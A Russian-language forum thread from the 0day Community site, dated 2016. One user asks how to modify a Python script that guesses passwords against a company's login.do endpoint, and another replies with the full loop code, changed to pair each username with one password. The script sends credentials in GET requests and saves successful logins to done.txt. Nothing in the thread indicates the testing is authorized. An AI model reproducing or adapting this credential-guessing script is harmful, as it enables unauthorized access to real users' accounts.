Cкрипт на Python, Цикл for % in: |
Здравствуйте Гость [ Вход | Регистрация ] | Форум в сети 6796-й день
Шановні користувачі! Запрошуємо вас до офіційного телеграм-канала 0day Community. Тут ви зможете поспілкуватися одне з одним та дізнатися про останні новини щодо роботи ресурса, поставити запитання до адміністрації, тощо. Перейти до телеграм-канала можна відсканувавши QR-код або натиснувши на посилання: @zeroday_ua |
Cкрипт на Python, Цикл for % in: |
mzk |
Oct 30 2016, 20:16
Пост
#1
|
Репутация: 83 Cтаршой Группа: Пользователи Сообщений: 673 С нами с: 27-February 08 |
Камрады, немного пен-теста...
Скрипт ниже выполнял свою работу очень долго и правильно. Но! Пришло время изменить его, но моих знаний недостаточно. Подскажите, как правильно сделать или куда посмореть? » Нажмите, чтобы показать спойлер - нажмите опять, чтобы скрыть... « Скрипт пытается подобрать пароль: User1 - Pass1, Pass2, Pass3... PassN User2 - Pass1, Pass2, Pass3... PassN Нужно сделать, чтобы скрипт брал только User1=Pass1 User2=Pass2 UserN=PassN Буду очень благодарен за помощь |
GhostKU |
Oct 31 2016, 2:14
Пост
#2
|
Благодарности: 891 Репутация: 301 Старожил Группа: Пользователи Сообщений: 2 167 С нами с: 11-March 06 |
Вот точное решение вашей задачи http://stackoverflow.com/questions/1663807...allel-in-python
В вашем куске #Take the parameters and make requests for user in users: for password in passwords: print "Trying %s : %s" % (user, password) url = "https://компания-ко-ко-ко/login.do?action=modify&uid=%s&password=%s&x=0&y=0" %(user, password) req = urllib2.Request(url) response = urllib2.urlopen(req, context=ctx) html = response.read() #Print and write into a file succesful attempts if "Error of authentification." not in html: print "Login : Password are %s : %s" %(user, password) pas = open('done.txt','a') pas.write('%s : %s \n' %(user,password)) pas.close() нужно изменить две строчки определения цикла одной #Take the parameters and make requests for user, password in zip(users, passwords): print "Trying %s : %s" % (user, password) url = "https://компания-ко-ко-ко/login.do?action=modify&uid=%s&password=%s&x=0&y=0" %(user, password) req = urllib2.Request(url) response = urllib2.urlopen(req, context=ctx) html = response.read() #Print and write into a file succesful attempts if "Error of authentification." not in html: print "Login : Password are %s : %s" %(user, password) pas = open('done.txt','a') pas.write('%s : %s \n' %(user,password)) pas.close() И не забудьте убрать лишние отступы. |
mzk |
Oct 31 2016, 10:08
Пост
#3
|
Репутация: 83 Cтаршой Группа: Пользователи Сообщений: 673 С нами с: 27-February 08 |
Спасибо большое, завертелось-закрутилось!
|
Упрощённая версия | Сейчас: 23rd October 2024 - 13:57 |
Сайт не розміщує електронні версії творів, а займається лише колекціонуванням та каталогізацією посилань, що публікуються нашими користувачами. Якщо Ви є правовласником якоїсь частини опублікованого матеріалу та не бажаєте, щоб посилання на нього знаходилось в нашому каталозі, зв’яжіться з нами і ми видалимо його. Файли для обміну надані користувачами сайту і адміністрація не несе відповідальності за їх вміст. |